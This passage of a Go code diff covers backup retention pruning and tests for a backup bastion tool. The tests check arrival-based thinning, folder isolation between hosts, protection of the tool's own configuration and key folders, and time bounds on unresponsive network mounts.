g.files = append(g.files, name)
|
||||
// The data file's arrival decides; a sidecar alone counts by its own.
|
||||
if mm[2] == "tar.zst.age" || g.arrived.IsZero() {
|
||||
g.arrived = at
|
||||
}
|
||||
}
|
||||
var list []*backupGroup
|
||||
for _, g := range groups {
|
||||
list = append(list, g)
|
||||
}
|
||||
keep := backupKeepSet(list)
|
||||
keep[m[1]] = true
|
||||
var removed []string
|
||||
for _, g := range list {
|
||||
if keep[g.stamp] {
|
||||
continue
|
||||
}
|
||||
for _, name := range g.files {
|
||||
err := os.Remove(filepath.Join(root, name))
|
||||
if err == nil {
|
||||
removed = append(removed, filepath.Join(root, name))
|
||||
}
|
||||
if err == nil || os.IsNotExist(err) {
|
||||
delete(a.Files, name)
|
||||
}
|
||||
}
|
||||
}
|
||||
sort.Strings(removed)
|
||||
return removed, arrivalsSaveLocked(root, a)
|
||||
}
|
||||
|
||||
// backupKeepSet returns the stamps to keep: the newest keepLast, and the
|
||||
// newest in each of the newest keepDaily days, keepWeekly ISO weeks and
|
||||
// keepMonthly months that hold a backup, all by arrival.
|
||||
func backupKeepSet(list []*backupGroup) map[string]bool {
|
||||
sort.Slice(list, func(i, j int) bool {
|
||||
if !list[i].arrived.Equal(list[j].arrived) {
|
||||
return list[i].arrived.After(list[j].arrived)
|
||||
}
|
||||
return list[i].stamp > list[j].stamp
|
||||
})
|
||||
keep := map[string]bool{}
|
||||
for i, g := range list {
|
||||
if i < keepLast {
|
||||
keep[g.stamp] = true
|
||||
}
|
||||
}
|
||||
bucket := func(n int, key func(time.Time) string) {
|
||||
seen := map[string]bool{}
|
||||
for _, g := range list {
|
||||
k := key(g.arrived)
|
||||
if seen[k] {
|
||||
continue
|
||||
}
|
||||
if len(seen) == n {
|
||||
return
|
||||
}
|
||||
seen[k] = true
|
||||
keep[g.stamp] = true
|
||||
}
|
||||
}
|
||||
bucket(keepDaily, func(t time.Time) string { return t.UTC().Format("2006-01-02") })
|
||||
bucket(keepWeekly, func(t time.Time) string {
|
||||
y, w := t.UTC().ISOWeek()
|
||||
return fmt.Sprintf("%d-W%02d", y, w)
|
||||
})
|
||||
bucket(keepMonthly, func(t time.Time) string { return t.UTC().Format("2006-01") })
|
||||
return keep
|
||||
}
|
||||
@@ -0,0 +1,268 @@
|
||||
package main
|
||||
|
||||
// Gate: the backup folder is thinned the way the host's other copies are,
|
||||
// by when each backup arrived here — never by the name a host gave it — and
|
||||
// only ever among the files this bastion recorded fetching.
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"sort"
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
const stampFmt = "20060102T150405Z"
|
||||
|
||||
// arrive writes a data file and its sidecar and records both as having
|
||||
// arrived at `at`, as a completed fetch does.
|
||||
func arrive(t *testing.T, root, stamp string, at time.Time) {
|
||||
t.Helper()
|
||||
for _, suffix := range []string{".tar.zst.age", ".key.age"} {
|
||||
if err := os.WriteFile(filepath.Join(root, stamp+suffix), []byte(stamp+suffix), 0o600); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := recordArrival(root, stamp+suffix, "00", at); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func stampsIn(t *testing.T, dir string) []string {
|
||||
t.Helper()
|
||||
l, err := listBackupDir(dir)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
var out []string
|
||||
for _, b := range l {
|
||||
out = append(out, b.Stamp)
|
||||
}
|
||||
sort.Strings(out)
|
||||
return out
|
||||
}
|
||||
|
||||
func TestRetentionKeepsSevenFourteenDailyEightWeeklyTwelveMonthly(t *testing.T) {
|
||||
root := t.TempDir()
|
||||
now := time.Date(2026, 9, 28, 2, 0, 0, 0, time.UTC)
|
||||
var newest string
|
||||
for d := 399; d >= 0; d-- {
|
||||
at := now.AddDate(0, 0, -d)
|
||||
newest = at.Format(stampFmt)
|
||||
arrive(t, root, newest, at)
|
||||
}
|
||||
removed, err := pruneBackupRoot(root, newest+".tar.zst.age")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
kept := map[string]bool{}
|
||||
for _, s := range stampsIn(t, root) {
|
||||
kept[s] = true
|
||||
}
|
||||
if len(removed) != 2*(400-len(kept)) {
|
||||
t.Fatalf("removed %d files for %d backups: data and sidecar go together", len(removed), 400-len(kept))
|
||||
}
|
||||
// Written out, not derived from the policy code: the last 14 days; the
|
||||
// last day held in each of the 8 newest ISO weeks; the last day held in
|
||||
// each of the 12 newest months; and nothing from the month before those.
|
||||
for d := 0; d < 14; d++ {
|
||||
if s := now.AddDate(0, 0, -d).Format(stampFmt); !kept[s] {
|
||||
t.Fatalf("the backup of %d days ago was not kept", d)
|
||||
}
|
||||
}
|
||||
for w := 0; w < 8; w++ {
|
||||
// 2026-09-28 is a Monday, alone in the newest ISO week; each of the
|
||||
// seven weeks before it has a Sunday as its newest day.
|
||||
s := now.Format(stampFmt)
|
||||
if w > 0 {
|
||||
s = now.AddDate(0, 0, -1-7*(w-1)).Format(stampFmt)
|
||||
}
|
||||
if !kept[s] {
|
||||
t.Fatalf("the newest backup of the week %d back (%s) was not kept", w, s)
|
||||
}
|
||||
}
|
||||
for m := 1; m < 12; m++ {
|
||||
last := time.Date(2026, time.Month(9-m+1), 1, 2, 0, 0, 0, time.UTC).AddDate(0, 0, -1)
|
||||
if !kept[last.Format(stampFmt)] {
|
||||
t.Fatalf("the last backup of %s was not kept", last.Format("2006-01"))
|
||||
}
|
||||
}
|
||||
if kept[time.Date(2025, 9, 30, 2, 0, 0, 0, time.UTC).Format(stampFmt)] {
|
||||
t.Fatal("a 13th month was kept")
|
||||
}
|
||||
if len(kept) < 14+7 || len(kept) > 14+8+12 {
|
||||
t.Fatalf("kept %d; the policy keeps between 21 and 34 of a daily history", len(kept))
|
||||
}
|
||||
// The record forgets what was removed.
|
||||
backupStateMu.Lock()
|
||||
a, _ := arrivalsLoadLocked(root)
|
||||
backupStateMu.Unlock()
|
||||
if len(a.Files) != 2*len(kept) {
|
||||
t.Fatalf("the record holds %d files for %d kept backups", len(a.Files), len(kept))
|
||||
}
|
||||
}
|
||||
|
||||
// A host that has been taken over names a batch of files for every past day.
|
||||
// They all arrive today, so they compete with today only: the real history
|
||||
// survives.
|
||||
func TestRetentionIsNotSteeredByTheNamesAHostGives(t *testing.T) {
|
||||
root := t.TempDir()
|
||||
now := time.Now().UTC()
|
||||
var real []string
|
||||
for d := 20; d >= 1; d-- {
|
||||
at := now.AddDate(0, 0, -d)
|
||||
s := at.Format(stampFmt)
|
||||
arrive(t, root, s, at)
|
||||
real = append(real, s)
|
||||
}
|
||||
var last string
|
||||
for d := 30; d >= 0; d-- {
|
||||
// Named a minute after each real one, so by NAME each would win its day.
|
||||
last = now.AddDate(0, 0, -d).Add(time.Minute).Format(stampFmt)
|
||||
arrive(t, root, last, now)
|
||||
}
|
||||
if _, err := pruneBackupRoot(root, last+".tar.zst.age"); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
kept := map[string]bool{}
|
||||
for _, s := range stampsIn(t, root) {
|
||||
kept[s] = true
|
||||
}
|
||||
for _, s := range real[len(real)-13:] {
|
||||
if !kept[s] {
|
||||
t.Fatalf("the real backup %s was pushed out by files that arrived today", s)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Thinning never touches a file this bastion did not record fetching: one
|
||||
// the person put there, one that was there before, one replaced since it
|
||||
// arrived, a link, or anything named otherwise; and .keep-all stops it.
|
||||
func TestRetentionRemovesOnlyWhatThisBastionFetched(t *testing.T) {
|
||||
root := t.TempDir()
|
||||
now := time.Now().UTC()
|
||||
old := now.AddDate(-3, 0, 0)
|
||||
// The person's own backup-named files, older than anything.
|
||||
for d := 0; d < 30; d++ {
|
||||
s := old.AddDate(0, 0, d).Format(stampFmt)
|
||||
_ = os.WriteFile(filepath.Join(root, s+".tar.zst.age"), []byte("mine"), 0o600)
|
||||
}
|
||||
other := filepath.Join(root, "notes.txt")
|
||||
_ = os.WriteFile(other, []byte("mine"), 0o600)
|
||||
target := filepath.Join(t.TempDir(), "20200101T000000Z.tar.zst.age")
|
||||
_ = os.WriteFile(target, []byte("x"), 0o600)
|
||||
link := filepath.Join(root, "20200101T000000Z.tar.zst.age")
|
||||
if err := os.Symlink(target, link); err != nil {
|
||||
t.Skipf("links cannot be made here: %v", err)
|
||||
}
|
||||
var stamps []string
|
||||
for d := 400; d >= 0; d-- {
|
||||
at := now.AddDate(0, 0, -d)
|
||||
stamps = append(stamps, at.Format(stampFmt))
|
||||
arrive(t, root, stamps[len(stamps)-1], at)
|
||||
}
|
||||
// One old arrival replaced by the person since: no longer the file that
|
||||
// arrived, so it is not this bastion's to remove.
|
||||
replaced := filepath.Join(root, stamps[0]+".tar.zst.age")
|
||||
_ = os.WriteFile(replaced, []byte("the person's own file now, longer"), 0o600)
|
||||
|
||||
keep := filepath.Join(root, ".keep-all")
|
||||
_ = os.WriteFile(keep, nil, 0o600)
|
||||
if r, _ := pruneBackupRoot(root, stamps[len(stamps)-1]+".tar.zst.age"); len(r) != 0 {
|
||||
t.Fatalf(".keep-all was ignored: %d removed", len(r))
|
||||
}
|
||||
_ = os.Remove(keep)
|
||||
if r, _ := pruneBackupRoot(root, "export.tar.zst.age"); len(r) != 0 {
|
||||
t.Fatal("a non-backup arrival thinned the folder")
|
||||
}
|
||||
r, err := pruneBackupRoot(root, stamps[len(stamps)-1]+".tar.zst.age")
|
||||
if err != nil || len(r) == 0 {
|
||||
t.Fatalf("nothing thinned: %v", err)
|
||||
}
|
||||
for d := 0; d < 30; d++ {
|
||||
s := old.AddDate(0, 0, d).Format(stampFmt)
|
||||
if _, err := os.Stat(filepath.Join(root, s+".tar.zst.age")); err != nil {
|
||||
t.Fatalf("the person's own file %s was removed", s)
|
||||
}
|
||||
}
|
||||
if _, err := os.Stat(replaced); err != nil {
|
||||
t.Fatal("a file replaced since it arrived was removed")
|
||||
}
|
||||
if _, err := os.Stat(other); err != nil {
|
||||
t.Fatal("a file that is not a backup was removed")
|
||||
}
|
||||
if _, err := os.Lstat(link); err != nil {
|
||||
t.Fatal("a link was removed")
|
||||
}
|
||||
if _, err := os.Stat(target); err != nil {
|
||||
t.Fatal("the file a link points to was removed")
|
||||
}
|
||||
}
|
||||
|
||||
// The backup that just arrived is kept even when, by arrival, the policy
|
||||
// would drop it: a fetch never removes what it just delivered.
|
||||
func TestRetentionNeverRemovesTheBackupThatJustArrived(t *testing.T) {
|
||||
root := t.TempDir()
|
||||
now := time.Now().UTC()
|
||||
var oldest string
|
||||
for d := 400; d >= 0; d-- {
|
||||
at := now.AddDate(0, 0, -d)
|
||||
s := at.Format(stampFmt)
|
||||
arrive(t, root, s, at)
|
||||
if oldest == "" {
|
||||
oldest = s
|
||||
}
|
||||
}
|
||||
if _, err := pruneBackupRoot(root, oldest+".tar.zst.age"); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if _, err := os.Stat(filepath.Join(root, oldest+".tar.zst.age")); err != nil {
|
||||
t.Fatal("the backup that just arrived was removed")
|
||||
}
|
||||
}
|
||||
|
||||
// Wired into backup_fetch: a backup file lands at the top of the pairing's
|
||||
// folder whatever folder the host named, is recorded, and thins the folder.
|
||||
func TestBackupFetchLandsAtTheRootRecordsAndThins(t *testing.T) {
|
||||
allowLoopbackFetch(t)
|
||||
root := t.TempDir()
|
||||
now := time.Now().UTC()
|
||||
for d := 40; d >= 1; d-- {
|
||||
at := now.AddDate(0, 0, -d)
|
||||
arrive(t, root, at.Format(stampFmt), at)
|
||||
}
|
||||
body := []byte("tonight's backup")
|
||||
srv, want := artifactServer(t, body)
|
||||
oldTransport := http.DefaultTransport
|
||||
http.DefaultTransport = srv.Client().Transport
|
||||
defer func() { http.DefaultTransport = oldTransport }()
|
||||
|
||||
stamp := now.Format(stampFmt)
|
||||
// The host names a subfolder; a backup file lands at the top regardless.
|
||||
req := backupFetchReq{Op: "start", URL: srv.URL + "/a", RPath: "privatae-backups/" + stamp + ".tar.zst.age",
|
||||
SHA256: want, Size: int64(len(body))}
|
||||
abs, arrival, why := backupFetchDest(root, req.RPath)
|
||||
if why != "" || !arrival || abs != filepath.Join(root, stamp+".tar.zst.age") {
|
||||
t.Fatalf("a backup file would land at %q (arrival=%v, %q)", abs, arrival, why)
|
||||
}
|
||||
job := &backupJob{ID: "r1", SHA256: want, Want: int64(len(body)), State: "running", root: root, arrival: true}
|
||||
runBackupFetch(job, srv.URL+"/a", abs, 1<<20)
|
||||
if job.State != "done" {
|
||||
t.Fatalf("%s %s", job.State, job.Error)
|
||||
}
|
||||
if job.Pruned == 0 {
|
||||
t.Fatal("the arrival thinned nothing out of 40 days of backups")
|
||||
}
|
||||
backupStateMu.Lock()
|
||||
a, _ := arrivalsLoadLocked(root)
|
||||
backupStateMu.Unlock()
|
||||
if rec, ok := a.Files[stamp+".tar.zst.age"]; !ok || rec.SHA256 != want {
|
||||
t.Fatalf("the arrival was not recorded: %+v", rec)
|
||||
}
|
||||
// Anything else keeps the folder the host named, and is not an arrival.
|
||||
if abs, arrival, _ := backupFetchDest(root, "exports/e1-"+stamp+".tar.zst.age"); arrival ||
|
||||
abs != filepath.Join(root, "exports", "e1-"+stamp+".tar.zst.age") {
|
||||
t.Fatalf("an export lands at %q (arrival=%v)", abs, arrival)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,297 @@
|
||||
package main
|
||||
|
||||
// Gate: each host's backup folder is its own. Two pairings whose folders are
|
||||
// the same, or one inside the other, are refused on every backup op, and so
|
||||
// is a folder over the bastion's own configuration, keys or records.
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
func savePairingWithRoot(t *testing.T, host, root string) {
|
||||
t.Helper()
|
||||
c := &Config{HostName: host, WGPrivateKey: "k", BastionTunnelIP: "fd00:9::a:1", BackupRoot: root}
|
||||
if err := c.save(); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestBackupRootsAreEachHostsOwn(t *testing.T) {
|
||||
uiTestConfigDir(t)
|
||||
const a, b = "a.host.privatae.ai", "b.host.privatae.ai"
|
||||
base := t.TempDir()
|
||||
rootA := filepath.Join(base, "a")
|
||||
_ = os.MkdirAll(rootA, 0o700)
|
||||
savePairingWithRoot(t, a, rootA)
|
||||
|
||||
savePairingWithRoot(t, b, filepath.Join(base, "b"))
|
||||
if why := backupRootProblem(a, rootA); why != "" {
|
||||
t.Fatalf("separate folders were refused: %s", why)
|
||||
}
|
||||
cases := map[string]string{
|
||||
"the same folder": rootA,
|
||||
"a folder inside it": filepath.Join(rootA, "sub"),
|
||||
"a folder containing it": base,
|
||||
}
|
||||
link := filepath.Join(t.TempDir(), "link-to-a")
|
||||
if err := os.Symlink(rootA, link); err == nil {
|
||||
cases["the same folder through a link"] = link
|
||||
}
|
||||
for name, other := range cases {
|
||||
savePairingWithRoot(t, b, other)
|
||||
why := backupRootProblem(a, rootA)
|
||||
if why == "" || !strings.Contains(why, b) {
|
||||
t.Errorf("%s: not refused (%q)", name, why)
|
||||
}
|
||||
}
|
||||
// On the lane: every backup op is refused before its handler runs.
|
||||
savePairingWithRoot(t, b, rootA)
|
||||
_, errOut, code := driveBackupOpAs(t, a, "backup_list", "", rootA, map[string]string{"op": "list"})
|
||||
if code == 0 || !strings.Contains(errOut, "backup_root of its own") {
|
||||
t.Fatalf("a shared backup folder was listed: %d %s", code, errOut)
|
||||
}
|
||||
// And the person cannot share a folder with a host whose own folder is
|
||||
// not its own.
|
||||
if err := cmdBackupShare(a, "", t.TempDir()); err == nil || !strings.Contains(err.Error(), "backup_root of its own") {
|
||||
t.Fatal("a share was given to a host whose backup folder another host also uses")
|
||||
}
|
||||
}
|
||||
|
||||
func TestBackupRootNeverOverlapsTheBastionsOwnState(t *testing.T) {
|
||||
cfg := uiTestConfigDir(t)
|
||||
confDir, _ := configDirPath()
|
||||
keys, _ := backupKeysDir()
|
||||
state, _ := backupStateDir()
|
||||
bad := map[string]string{
|
||||
"the home folder": cfg,
|
||||
"the configuration folder": confDir,
|
||||
"the backup keys": keys,
|
||||
"inside the backup keys": filepath.Join(keys, "x"),
|
||||
"the backup records": state,
|
||||
"inside the backup records": filepath.Join(state, "x"),
|
||||
"the pairings": filepath.Join(confDir, "pairings"),
|
||||
"inside the DCN state": filepath.Join(confDir, "dcn", "h.host.privatae.ai"),
|
||||
"another config subfolder": filepath.Join(confDir, "context"),
|
||||
"the backups folder itself": filepath.Join(confDir, "backups"),
|
||||
}
|
||||
for name, root := range bad {
|
||||
if why := backupRootProblem("h.host.privatae.ai", root); why == "" {
|
||||
t.Errorf("%s (%s) was accepted as a backup folder", name, root)
|
||||
}
|
||||
}
|
||||
def := (&Config{HostName: "h.host.privatae.ai"}).backupRootPath()
|
||||
for _, ok := range []string{def, filepath.Join(confDir, "backups", "any", "depth"), t.TempDir()} {
|
||||
if why := backupRootProblem("h.host.privatae.ai", ok); why != "" {
|
||||
t.Fatalf("%s was refused: %s", ok, why)
|
||||
}
|
||||
}
|
||||
if _, err := addBackupShare("h.host.privatae.ai", def, confDir, "conf"); err == nil {
|
||||
t.Fatal("the configuration folder was shared with a host")
|
||||
}
|
||||
}
|
||||
|
||||
// Folders shared with a pairing go when it is unpaired.
|
||||
func TestUnpairTakesBackTheSharesOfThatPairing(t *testing.T) {
|
||||
uiTestConfigDir(t)
|
||||
const h, other = "gone.host.privatae.ai", "stays.host.privatae.ai"
|
||||
savePairingWithRoot(t, h, t.TempDir())
|
||||
if _, err := addBackupShare(h, t.TempDir(), t.TempDir(), "x"); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if _, err := addBackupShare(other, t.TempDir(), t.TempDir(), "y"); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
prev := unpairNeedsRoot
|
||||
unpairNeedsRoot = func() bool { return false }
|
||||
t.Cleanup(func() { unpairNeedsRoot = prev })
|
||||
if _, err := unpairHost(h); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(sharesFor(h)) != 0 {
|
||||
t.Fatal("an unpaired host kept the folders shared with it")
|
||||
}
|
||||
if len(sharesFor(other)) != 1 {
|
||||
t.Fatal("another host's share went with it")
|
||||
}
|
||||
}
|
||||
|
||||
// A backup folder the person put outside the configuration folder (a NAS
|
||||
// mount) is off limits to ops like the rest of this box's record: no op may
|
||||
// name it, anything in it, or a folder holding it, as an effect.
|
||||
func TestOpsCannotTouchAHostsBackupFolder(t *testing.T) {
|
||||
uiTestConfigDir(t)
|
||||
nas := filepath.Join(t.TempDir(), "nas", "backups")
|
||||
_ = os.MkdirAll(nas, 0o700)
|
||||
savePairingWithRoot(t, "nas.host.privatae.ai", nas)
|
||||
offs, err := opOffLimits()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
found := false
|
||||
for _, o := range offs {
|
||||
found = found || o == nas
|
||||
}
|
||||
if !found {
|
||||
t.Fatalf("the backup folder %s is not off limits: %v", nas, offs)
|
||||
}
|
||||
for _, p := range []string{nas, filepath.Join(nas, fixtureData), filepath.Dir(nas)} {
|
||||
off, err := underOffLimits(p)
|
||||
if err != nil || off == "" {
|
||||
t.Errorf("%s is not refused as an op path: %q %v", p, off, err)
|
||||
}
|
||||
if err := effectOK(p + "/"); err == nil {
|
||||
t.Errorf("%s is accepted as an op effect", p)
|
||||
}
|
||||
}
|
||||
// An action op's root verb cannot be pointed at it either.
|
||||
if err := opVerbArgOK(&opManifest{}, "verb", "path", filepath.Join(nas, fixtureData)); err == nil ||
|
||||
!strings.Contains(err.Error(), "own record") {
|
||||
t.Errorf("an action op's path argument reached the backup folder: %v", err)
|
||||
}
|
||||
if off, _ := underOffLimits(filepath.Join(t.TempDir(), "elsewhere")); off != "" {
|
||||
t.Fatalf("an unrelated folder is refused: %s", off)
|
||||
}
|
||||
}
|
||||
|
||||
// The bastion's own folders are compared as they resolve: a backup folder
|
||||
// that is a link to the configuration folder, or a configuration folder
|
||||
// reached through a link, is refused all the same.
|
||||
func TestBackupRootOverlapIsJudgedAsItResolves(t *testing.T) {
|
||||
real := t.TempDir()
|
||||
link := filepath.Join(t.TempDir(), "cfg-link")
|
||||
if err := os.Symlink(real, link); err != nil {
|
||||
t.Skip("no symlinks here")
|
||||
}
|
||||
t.Setenv("XDG_CONFIG_HOME", link)
|
||||
t.Setenv("HOME", link)
|
||||
t.Setenv("AppData", link)
|
||||
conf, _ := configDirPath()
|
||||
_ = os.MkdirAll(conf, 0o700)
|
||||
realConf := filepath.Join(real, "privatae-bastion")
|
||||
for name, root := range map[string]string{
|
||||
"the configuration folder by its real path": realConf,
|
||||
"inside it by its real path": filepath.Join(realConf, "pairings"),
|
||||
} {
|
||||
if why := backupRootProblem("h.host.privatae.ai", root); why == "" {
|
||||
t.Errorf("%s (%s) was accepted", name, root)
|
||||
}
|
||||
}
|
||||
if why := backupRootProblem("h.host.privatae.ai", filepath.Join(realConf, "backups", "h")); why != "" {
|
||||
t.Fatalf("the default folder by its real path was refused: %s", why)
|
||||
}
|
||||
}
|
||||
|
||||
// The daemon never touches the backup folder when it starts: the lane gets
|
||||
// the folder's path, and each backup op checks and creates it (with a
|
||||
// bound). Read from the source, because starting the real daemon here would
|
||||
// need a pairing and a tunnel.
|
||||
func TestDaemonStartDoesNotTouchTheBackupFolder(t *testing.T) {
|
||||
src, err := os.ReadFile("run.go")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if strings.Contains(string(src), "backupRoot()") || !strings.Contains(string(src), "cfg.backupRootPath(), mgmtWorkerCount") {
|
||||
t.Fatal("run.go creates or resolves the backup folder at start instead of passing its path to the lane")
|
||||
}
|
||||
}
|
||||
|
||||
// pushStatusVia runs backup_push status, a backup op that writes (so it is
|
||||
// the one that creates the folder), and returns its exit and stderr.
|
||||
func pushStatusVia(t *testing.T, root string) (int, string) {
|
||||
t.Helper()
|
||||
_, errOut, code := driveBackupOp(t, "backup_push", "", root, backupPushReq{Op: "status", JobID: "bp-none"})
|
||||
return code, errOut
|
||||
}
|
||||
|
||||
// The folder is made by the first backup op that writes, not by a listing:
|
||||
// backup_list is a read and creates nothing.
|
||||
func TestTheBackupFolderIsCreatedOnFirstBackupOp(t *testing.T) {
|
||||
root := filepath.Join(t.TempDir(), "not-yet")
|
||||
l := listVia(t, root)
|
||||
if len(l) != 0 {
|
||||
t.Fatalf("listed %+v", l)
|
||||
}
|
||||
if _, err := os.Stat(root); !os.IsNotExist(err) {
|
||||
t.Fatalf("backup_list, a read, created the backup folder: %v", err)
|
||||
}
|
||||
if code, errOut := pushStatusVia(t, root); code != 0 {
|
||||
t.Fatalf("backup_push status: %d %s", code, errOut)
|
||||
}
|
||||
if fi, err := os.Stat(root); err != nil || !fi.IsDir() {
|
||||
t.Fatal("the first backup op that writes did not create the backup folder")
|
||||
}
|
||||
}
|
||||
|
||||
// A backup folder that errors when created refuses that op with the reason,
|
||||
// and the next op tries again: no restart needed.
|
||||
func TestABackupFolderThatCannotBeCreatedIsRetriedPerOp(t *testing.T) {
|
||||
root := filepath.Join(t.TempDir(), "nas")
|
||||
prev := backupMkdirFn
|
||||
backupMkdirFn = func(string, os.FileMode) error { return errors.New("read-only file system") }
|
||||
code, errOut := pushStatusVia(t, root)
|
||||
backupMkdirFn = prev
|
||||
if code == 0 || !strings.Contains(errOut, "cannot be created") || !strings.Contains(errOut, "read-only") {
|
||||
t.Fatalf("a folder that cannot be created: %d %s", code, errOut)
|
||||
}
|
||||
if l := listVia(t, root); len(l) != 0 {
|
||||
t.Fatalf("listed %+v", l)
|
||||
}
|
||||
}
|
||||
|
||||
// A backup folder that does not answer refuses that host's backup ops
|
||||
// quickly, with a sentence, and the rest of its lane goes on.
|
||||
func TestABackupFolderThatDoesNotAnswerRefusesOnlyItsBackupOps(t *testing.T) {
|
||||
opMaskFixture(t)
|
||||
root := filepath.Join(t.TempDir(), "nas")
|
||||
_ = os.MkdirAll(root, 0o700)
|
||||
hangFolder(t, root)
|
||||
for i := 0; i < 2; i++ {
|
||||
start := time.Now()
|
||||
_, errOut, code := driveBackupOp(t, "backup_list", "", root, map[string]string{"op": "list"})
|
||||
if code == 0 || !strings.Contains(errOut, "does not answer") {
|
||||
t.Fatalf("a folder that does not answer: %d %s", code, errOut)
|
||||
}
|
||||
if el := time.Since(start); el > 2*time.Second {
|
||||
t.Fatalf("the op waited %s", el)
|
||||
}
|
||||
}
|
||||
// The same lane still answers an op that needs no backup folder.
|
||||
out, _, code := driveBackupOp(t, "backup_reseal", t.TempDir(), root, resealReq{Op: "status", JobID: "br-none"})
|
||||
if code != 0 || !strings.Contains(out, "unknown") {
|
||||
t.Fatalf("the rest of the lane stopped: %d %s", code, out)
|
||||
}
|
||||
// A creation that hangs is bounded the same way.
|
||||
fresh := filepath.Join(t.TempDir(), "fresh")
|
||||
gate := make(chan struct{})
|
||||
prev := backupMkdirFn
|
||||
backupMkdirFn = func(p string, m os.FileMode) error {
|
||||
if p == fresh {
|
||||
<-gate
|
||||
}
|
||||
return prev(p, m)
|
||||
}
|
||||
t.Cleanup(func() {
|
||||
close(gate)
|
||||
deadline := time.Now().Add(5 * time.Second)
|
||||
for time.Now().Before(deadline) {
|
||||
opProbeMu.Lock()
|
||||
busy := opProbeInFlight["mkdir:"+fresh]
|
||||
opProbeMu.Unlock()
|
||||
if !busy {
|
||||
break
|
||||
}
|
||||
time.Sleep(5 * time.Millisecond)
|
||||
}
|
||||
backupMkdirFn = prev
|
||||
})
|
||||
start := time.Now()
|
||||
code, errOut := pushStatusVia(t, fresh)
|
||||
if code == 0 || !strings.Contains(errOut, "does not answer") || time.Since(start) > 2*time.Second {
|
||||
t.Fatalf("a creation that hangs: %d %s after %s", code, errOut, time.Since(start))
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,184 @@
|
||||
package main
|
||||
|
||||
// Gate: a folder shared with a host, on a network mount that stopped
|
||||
// answering, holds up nothing. backup_list answers at once with the rest and
|
||||
// names the folder; backup_push from it is refused with a sentence. The same
|
||||
// bound as the host's own backup folder (opmask.go).
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
// blockReadDir makes reading dir block until the test ends.
|
||||
func blockReadDir(t *testing.T, dir string) {
|
||||
t.Helper()
|
||||
gate := make(chan struct{})
|
||||
prev := backupReadDirFn
|
||||
backupReadDirFn = func(p string) ([]os.DirEntry, error) {
|
||||
if p == dir {
|
||||
<-gate
|
||||
}
|
||||
return prev(p)
|
||||
}
|
||||
t.Cleanup(func() {
|
||||
close(gate)
|
||||
waitProbeIdle("list:" + dir)
|
||||
backupReadDirFn = prev
|
||||
})
|
||||
}
|
||||
|
||||
// blockResolve makes resolving a file under dir (the push path) block until
|
||||
// the test ends.
|
||||
func blockResolve(t *testing.T, dir string) {
|
||||
t.Helper()
|
||||
gate := make(chan struct{})
|
||||
prev := backupResolvePathFn
|
||||
backupResolvePathFn = func(root, rpath string) (string, bool) {
|
||||
if root == dir {
|
||||
<-gate
|
||||
}
|
||||
return prev(root, rpath)
|
||||
}
|
||||
t.Cleanup(func() {
|
||||
close(gate)
|
||||
waitProbeIdle("push:" + dir)
|
||||
backupResolvePathFn = prev
|
||||
})
|
||||
}
|
||||
|
||||
// waitProbeIdle waits for the probe of key to return, so the function it
|
||||
// calls can be put back without a race.
|
||||
func waitProbeIdle(key string) {
|
||||
deadline := time.Now().Add(5 * time.Second)
|
||||
for time.Now().Before(deadline) {
|
||||
opProbeMu.Lock()
|
||||
busy := opProbeInFlight[key]
|
||||
opProbeMu.Unlock()
|
||||
if !busy {
|
||||
return
|
||||
}
|
||||
time.Sleep(5 * time.Millisecond)
|
||||
}
|
||||
}
|
||||
|
||||
type listReply struct {
|
||||
Backups []backupListEntry `json:"backups"`
|
||||
Unavailable []backupUnavailable `json:"unavailable"`
|
||||
}
|
||||
|
||||
func listReplyAs(t *testing.T, self, root string) (listReply, time.Duration) {
|
||||
t.Helper()
|
||||
type res struct {
|
||||
out, errOut string
|
||||
code int
|
||||
}
|
||||
done := make(chan res, 1)
|
||||
start := time.Now()
|
||||
go func() {
|
||||
out, errOut, code := driveBackupOpAs(t, self, "backup_list", "", root, map[string]string{"op": "list"})
|
||||
done <- res{out, errOut, code}
|
||||
}()
|
||||
select {
|
||||
case r := <-done:
|
||||
if r.code != 0 {
|
||||
t.Fatalf("backup_list exited %d: %s", r.code, r.errOut)
|
||||
}
|
||||
var rep listReply
|
||||
if err := json.Unmarshal([]byte(r.out), &rep); err != nil {
|
||||
t.Fatalf("list reply: %v %s", err, r.out)
|
||||
}
|
||||
return rep, time.Since(start)
|
||||
case <-time.After(5 * time.Second):
|
||||
t.Fatal("backup_list hung on a shared folder that does not answer")
|
||||
}
|
||||
return listReply{}, 0
|
||||
}
|
||||
|
||||
func TestASharedFolderThatDoesNotAnswerHoldsUpNothing(t *testing.T) {
|
||||
root, _ := opMaskFixture(t) // pairing nas.host.privatae.ai, probe bound 100ms
|
||||
const self = "nas.host.privatae.ai"
|
||||
pushFixture(t, root, []byte("own backup"))
|
||||
good, deadList, deadResolve, deadPush := t.TempDir(), t.TempDir(), t.TempDir(), t.TempDir()
|
||||
for dir, name := range map[string]string{good: "good", deadList: "dead-list", deadResolve: "dead-resolve",
|
||||
deadPush: "dead-push"} {
|
||||
pushFixture(t, dir, []byte(name))
|
||||
